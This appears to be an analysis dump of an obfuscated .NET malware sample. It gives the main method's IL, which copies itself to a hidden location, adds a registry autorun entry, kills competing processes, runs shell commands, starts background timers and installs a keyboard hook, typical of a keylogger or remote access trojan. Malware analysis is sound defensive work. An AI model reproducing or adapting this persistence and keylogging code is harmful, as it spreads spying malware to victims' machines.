RFNVAEIEWXXQQDJCFBLLMIJCDRFULNFYVXBRDNWG_20190722054541603
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
354
Main Method
System.Void afg::agu()
Main IL Instruction Count
826
Main IL 
ldc.i4.s 15
ldc.i4.1 <null>
call System.Boolean afg::agp(System.Int32,System.Int32)
brfalse IL_0092: call System.Object afg::ajo()
ldc.i4 -1105234857
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 6
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_00B2: call My.fz My.hj::get_Computer()
call System.Void System.Windows.Forms.Application::Exit()
ldloc V_27
ldc.i4 1810771876
mul <null>
ldc.i4 -896260937
xor <null>
br IL_0012: ldc.i4 -277921310
call System.Void afg::amv()
ldsfld System.Boolean afg::cgp
brfalse IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
ldc.i4 -2130872179
br IL_0012: ldc.i4 -277921310
call System.Void System.Windows.Forms.Application::Exit()
ldloc V_27
ldc.i4 540449072
mul <null>
ldc.i4 -1902665662
xor <null>
br IL_0012: ldc.i4 -277921310
call System.Object afg::ajo()
ldc.i4.1 <null>
box System.Boolean
ldc.i4.0 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Operators::ConditionalCompareObjectEqual(System.Object,System.Object,System.Boolean)
brfalse IL_005F: call System.Void afg::amv()
ldc.i4 -1698414580
br IL_0012: ldc.i4 -277921310
call My.fz My.hj::get_Computer()
callvirt Microsoft.VisualBasic.Devices.ComputerInfo Microsoft.VisualBasic.Devices.ServerComputer::get_Info()
callvirt System.String Microsoft.VisualBasic.Devices.ComputerInfo::get_OSFullName()
stloc.s V_4
ldloc.s V_4
ldc.i4 108224
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
ldloc.s V_4
ldc.i4 108188
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
or <null>
ldloc.s V_4
ldc.i4 108168
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
or <null>
brfalse IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
call System.String System.IO.Path::GetTempPath()
ldc.i4 108292
call System.String <Module>::(System.Int32)
call System.String System.String::Concat(System.String,System.String)
stloc.s V_5
call System.Object afg::afo()
ldc.i4.0 <null>
box System.Boolean
ldc.i4.0 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Operators::ConditionalCompareObjectEqual(System.Object,System.Object,System.Boolean)
brfalse IL_01DF: ldloc.s V_5
ldc.i4 -1424095007
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 14
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_02BE: leave IL_02D5
ldloc V_27
ldc.i4 -2031622660
mul <null>
ldc.i4 -1513396613
xor <null>
br IL_012E: ldc.i4 -277921310
call System.Void afg::afm()
ldc.i4 -1885535733
br IL_012E: ldc.i4 -277921310
call System.Void afg::afk()
ldloc V_27
ldc.i4 -1662378254
mul <null>
ldc.i4 1140456930
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.String System.IO.File::ReadAllText(System.String)
stloc.s V_6
ldloc.s V_6
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
ldc.i4.3 <null>
bgt IL_02BE: leave IL_02D5
ldc.i4 -132776516
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.Void System.IO.File::Delete(System.String)
ldc.i4 -790630750
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0270: ldloc.s V_5
ldloc V_27
ldc.i4 -262641592
mul <null>
ldc.i4 -1049630955
xor <null>
br IL_012E: ldc.i4 -277921310
leave IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
ldc.i4 -463937368
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
ldloc.s V_7
ldc.i4.1 <null>
add.ovf <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Int32)
call System.Void System.IO.File::WriteAllText(System.String,System.String)
ldloc V_27
ldc.i4 -1356937774
mul <null>
ldc.i4 -606653122
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_4
ldc.i4 108272
call System.String <Module>::(System.Int32)
callvirt System.Boolean System.String::Contains(System.String)
brfalse IL_0196: call System.Void afg::afm()
ldloc V_27
ldc.i4 964570233
mul <null>
ldc.i4 1901194254
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
ldstr 1
call System.Void System.IO.File::WriteAllText(System.String,System.String)
ldc.i4 -840414313
br IL_012E: ldc.i4 -277921310
ldloc V_27
ldc.i4 391432922
mul <null>
ldc.i4 559040595
xor <null>
br IL_012E: ldc.i4 -277921310
ldloc.s V_5
call System.String System.IO.File::ReadAllText(System.String)
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
stloc.s V_7
ldloc V_27
ldc.i4 1189865177
mul <null>
ldc.i4 -1905337098
xor <null>
br IL_012E: ldc.i4 -277921310
leave IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_02D5: newobj System.Void System.Timers.Timer::.ctor()
newobj System.Void System.Timers.Timer::.ctor()
stloc.0 <null>
ldc.i4 -536043048
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 9
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0455: ldc.i4 108576
ldsfld System.Boolean afg::cgk
brfalse IL_084A: ldsfld System.String afg::cgj
ldloc V_27
ldc.i4 -543662738
mul <null>
ldc.i4 -181445337
xor <null>
br IL_02E0: ldc.i4 -277921310
call System.Void afg::bcr()
ldloc V_27
ldc.i4 -460165248
mul <null>
ldc.i4 1878265450
xor <null>
br IL_02E0: ldc.i4 -277921310
ldc.i4 108600
call System.String <Module>::(System.Int32)
call System.String System.Environment::GetEnvironmentVariable(System.String)
ldc.i4 108596
call System.String <Module>::(System.Int32)
call System.String System.String::Concat(System.String,System.String)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue IL_0479: ldsfld System.String afg::cgj
ldloc V_27
ldc.i4 955794310
mul <null>
ldc.i4 1699461782
xor <null>
br IL_02E0: ldc.i4 -277921310
ldloc.0 <null>
ldnull <null>
ldftn System.Void afg::bcg(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc.0 <null>
ldc.r8 5000
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.0 <null>
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldc.i4 30000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String afg::cfr
ldc.i4 108236
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_03F7: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc V_27
ldc.i4 -2131554243
mul <null>
ldc.i4 1206407918
xor <null>
br IL_02E0: ldc.i4 -277921310
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
stsfld System.String afg::cgo
ldc.i4 -461108780
br IL_02E0: ldc.i4 -277921310
ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
beq IL_084A: ldsfld System.String afg::cgj
ldloc V_27
ldc.i4 -205347320
mul <null>
ldc.i4 56783756
xor <null>
br IL_02E0: ldc.i4 -277921310
call System.Void afg::bdh()
ldloc V_27
ldc.i4 1096761543
mul <null>
ldc.i4 -1547145893
xor <null>
br IL_02E0: ldc.i4 -277921310
ldc.i4 108576
call System.String <Module>::(System.Int32)
call System.String System.Environment::GetEnvironmentVariable(System.String)
ldc.i4 108668
call System.String <Module>::(System.Int32)
call System.String System.String::Concat(System.String,System.String)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldsfld System.String afg::cgj
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0591: ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
call System.String System.IO.Path::GetFullPath(System.String)
stloc.s V_9
ldc.i4 -430708947
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 8
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_057D: leave IL_0591
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldc.i4 -726152110
br IL_0499: ldc.i4 -277921310
ldloc.s V_24
ldloc.s V_25
ldlen <null>
conv.ovf.i4 <null>
blt IL_0531: ldloc.s V_25
ldc.i4 -1782838877
br IL_0499: ldc.i4 -277921310
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcesses()
stloc.s V_25
ldloc V_27
ldc.i4 1300458418
mul <null>
ldc.i4 -357075258
xor <null>
br IL_0499: ldc.i4 -277921310
ldloc.s V_11
callvirt System.Void System.Diagnostics.Process::Kill()
ldloc V_27
ldc.i4 -665242504
mul <null>
ldc.i4 467910006
xor <null>
br IL_0499: ldc.i4 -277921310
ldloc.s V_25
ldloc.s V_24
ldelem.ref <null>
stloc.s V_11
ldloc.s V_11
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
call System.String System.IO.Path::GetFullPath(System.String)
stloc.s V_10
ldloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_04D4: ldloc.s V_24
ldc.i4 -464859332
br IL_0499: ldc.i4 -277921310
ldc.i4.0 <null>
stloc.s V_24
ldloc V_27
ldc.i4 -2029611917
mul <null>
ldc.i4 -554853396
xor <null>
br IL_0499: ldc.i4 -277921310
leave IL_0591: ldsfld System.String afg::cgo
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0591: ldsfld System.String afg::cgo
ldsfld System.String afg::cgo
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_064F: leave IL_0663
ldsfld System.String afg::cgj
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_05D0: ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
call System.Void System.IO.File::Delete(System.String)
leave IL_05D0: ldsfld System.String afg::cgo
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_12
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_05D0: ldsfld System.String afg::cgo
ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
ldc.i4.1 <null>
call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean)
ldc.i4 -1635132435
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 4
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_064F: leave IL_0663
ldsfld System.Boolean afg::cgl
brfalse IL_064F: leave IL_0663
ldloc V_27
ldc.i4 222517604
mul <null>
ldc.i4 315643808
xor <null>
br IL_05E5: ldc.i4 -277921310
ldsfld System.String afg::cgj
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc V_27
ldc.i4 -1123378745
mul <null>
ldc.i4 35959685
xor <null>
br IL_05E5: ldc.i4 -277921310
leave IL_0663: ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0663: ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldc.i4 108648
call System.String <Module>::(System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_13
ldc.i4 -1378517573
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 12
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0836: leave IL_084A
ldloc.s V_26
ldc.i4.0 <null>
ldc.i4.2 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.1 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.2 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 -738935881
mul <null>
ldc.i4 -1908173985
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.7 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 1656417478
mul <null>
ldc.i4 -1400691022
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_13
ldc.i4 108644
call System.String <Module>::(System.Int32)
ldsfld System.String afg::cgj
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldc.i4 108624
call System.String <Module>::(System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_14
ldloc.s V_14
brfalse IL_0836: leave IL_084A
ldloc V_27
ldc.i4 1050054505
mul <null>
ldc.i4 -466853108
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.3 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.4 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.5 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 765820947
mul <null>
ldc.i4 853189038
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.s 11
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
stloc.s V_15
ldloc.s V_14
ldc.i4 108460
call System.String <Module>::(System.Int32)
ldloc.s V_15
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldloc V_27
ldc.i4 -2002133236
mul <null>
ldc.i4 1569837072
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.s 10
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 -1124610043
mul <null>
ldc.i4 -1039156524
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.8 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc.s V_26
ldc.i4.s 9
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 1681811160
mul <null>
ldc.i4 316749131
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_26
ldc.i4.6 <null>
ldc.i4.0 <null>
stelem.i1 <null>
ldloc V_27
ldc.i4 -1802630974
mul <null>
ldc.i4 -1707449662
xor <null>
br IL_067F: ldc.i4 -277921310
ldloc.s V_14
callvirt System.Void Microsoft.Win32.RegistryKey::Close()
ldloc V_27
ldc.i4 -2023612618
mul <null>
ldc.i4 2001739278
xor <null>
br IL_067F: ldc.i4 -277921310
ldc.i4.s 12
newarr System.Byte
stloc.s V_26
ldloc V_27
ldc.i4 1775422655
mul <null>
ldc.i4 1367585287
xor <null>
br IL_067F: ldc.i4 -277921310
leave IL_084A: ldsfld System.String afg::cgj
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_084A: ldsfld System.String afg::cgj
ldsfld System.String afg::cgj
call System.Void afg::bkx(System.String)
ldsfld System.Boolean afg::cgn
brfalse IL_08D6: ldsfld System.Boolean afg::cgm
ldc.i4 -1022865902
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 22
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0BF5: newobj System.Void System.Timers.Timer::.ctor()
ldsfld System.Boolean afg::cgm
brfalse IL_08EA: ldsfld System.Boolean afg::cfs
ldc.i4 -991284775
br IL_0863: ldc.i4 -277921310
ldsfld System.Boolean afg::cfs
brfalse IL_0A0E: ldnull
ldc.i4 -1081944894
br IL_0863: ldc.i4 -277921310
ldc.i4 108440
call System.String <Module>::(System.Int32)
ldc.i4.2 <null>
ldc.i4.0 <null>
ldc.i4.m1 <null>
call System.Int32 Microsoft.VisualBasic.Interaction::Shell(System.String,Microsoft.VisualBasic.AppWinStyle,System.Boolean,System.Int32)
pop <null>
ldloc V_27
ldc.i4 2008497331
mul <null>
ldc.i4 -767588683
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cfr
ldc.i4 108508
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_09CC: ldsfld System.String afg::cfr
ldc.i4 -1389618020
br IL_0863: ldc.i4 -277921310
call System.Void afg::bly()
ldloc V_27
ldc.i4 115559277
mul <null>
ldc.i4 266409112
xor <null>
br IL_0863: ldc.i4 -277921310
call System.Void afg::bcu()
ldloc V_27
ldc.i4 -921705101
mul <null>
ldc.i4 -1054138553
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cfr
ldc.i4 108544
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_0926: ldsfld System.String afg::cfr
ldc.i4 -781294437
br IL_0863: ldc.i4 -277921310
ldloc.s V_19
ldnull <null>
ldftn System.Void afg::bcq(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc V_27
ldc.i4 -1223063105
mul <null>
ldc.i4 988840809
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cfr
ldc.i4 108488
call System.String <Module>::(System.Int32)
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un IL_0C27: call System.Void afg::bek()
ldc.i4 -1413405809
br IL_0863: ldc.i4 -277921310
ldloc.s V_16
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc V_27
ldc.i4 -1254355965
mul <null>
ldc.i4 -1948486224
xor <null>
br IL_0863: ldc.i4 -277921310
ldnull <null>
ldftn System.Void afg::bkq()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.1 <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean afg::cfk
brfalse IL_0AD4: ldnull
ldc.i4 -1288542526
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldftn System.Void afg::apt(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc.s V_18
ldc.i4 60000
ldsfld System.String afg::cfo
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
mul.ovf <null>
conv.r8 <null>
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_18
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldloc V_27
ldc.i4 1976307036
mul <null>
ldc.i4 214414668
xor <null>
br IL_0863: ldc.i4 -277921310
ldnull <null>
ldftn System.Void afg::bmx()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_16
ldloc V_27
ldc.i4 378702648
mul <null>
ldc.i4 173641677
xor <null>
br IL_0863: ldc.i4 -277921310
ldloc.s V_16
callvirt System.Void System.Threading.Thread::Start()
ldloc V_27
ldc.i4 -1142415067
mul <null>
ldc.i4 2066509524
xor <null>
br IL_0863: ldc.i4 -277921310
ldnull <null>
ldftn System.Void afg::auq()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean afg::cfl
ldc.i4 108436
call System.String <Module>::(System.Int32)
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
bne.un IL_097F: ldsfld System.String afg::cfr
ldc.i4 -1107141406
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_17
ldloc.s V_17
ldnull <null>
ldftn System.Void afg::avy(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc V_27
ldc.i4 -1808905439
mul <null>
ldc.i4 1269461648
xor <null>
br IL_0863: ldc.i4 -277921310
ldloc.s V_19
ldc.r8 60000
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_19
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldloc V_27
ldc.i4 501221821
mul <null>
ldc.i4 1037470459
xor <null>
br IL_0863: ldc.i4 -277921310
ldsfld System.String afg::cgo
ldsfld System.String afg::cgj
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
beq IL_08D6: ldsfld System.Boolean afg::cgm
ldloc V_27
ldc.i4 -1015001347
mul <null>
ldc.i4 -1702243615
xor <null>
br IL_0863: ldc.i4 -277921310
ldloc.s V_17
ldc.i4 60000
ldsfld System.String afg::cfn
call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String)
mul.ovf <null>
conv.r8 <null>
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_17
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
ldloc.s V_17
callvirt System.Void System.Timers.Timer::Start()
ldloc V_27
ldc.i4 1100073644
mul <null>
ldc.i4 1633007822
xor <null>
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_19
ldloc V_27
ldc.i4 1044269452
mul <null>
ldc.i4 1837171341
xor <null>
br IL_0863: ldc.i4 -277921310
newobj System.Void System.Timers.Timer::.ctor()
stloc.s V_20
ldloc.s V_20
ldnull <null>
ldftn System.Void afg::bcl(System.Object,System.Timers.ElapsedEventArgs)
newobj System.Void System.Timers.ElapsedEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.Timers.Timer::add_Elapsed(System.Timers.ElapsedEventHandler)
ldloc.s V_20
ldc.r8 300000
callvirt System.Void System.Timers.Timer::set_Interval(System.Double)
ldloc.s V_20
ldc.i4.1 <null>
callvirt System.Void System.Timers.Timer::set_Enabled(System.Boolean)
call System.Void afg::bek()
leave IL_0C43: newobj System.Void afg/np::.ctor()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0C43: newobj System.Void afg/np::.ctor()
newobj System.Void afg/np::.ctor()
stloc.3 <null>
ldsfld System.Boolean afg::cfk
brfalse IL_0CA2: call afg/acm afg::get_CH()
ldc.i4 -644390521
ldc.i4 -277921310
xor <null>
dup <null>
stloc V_27
ldc.i4 4
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0CD5: ret
call afg/adm afg::get_kbHook()
callvirt System.Void afg/adm::aer()
ldloc V_27
ldc.i4 -1113492616
mul <null>
ldc.i4 -1420732594
xor <null>
br IL_0C58: ldc.i4 -277921310
call afg/acm afg::get_CH()
callvirt System.Void afg/acm::acw()
ldnull <null>
ldftn System.Void afg::aos()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_23
ldloc.s V_23
callvirt System.Void System.Threading.Thread::Start()
call System.Void System.Windows.Forms.Application::Run()
ldc.i4 -1959537260
br IL_0C58: ldc.i4 -277921310
ret <null>

An error has occurred. This application may no longer respond until reloaded. Reload 🗙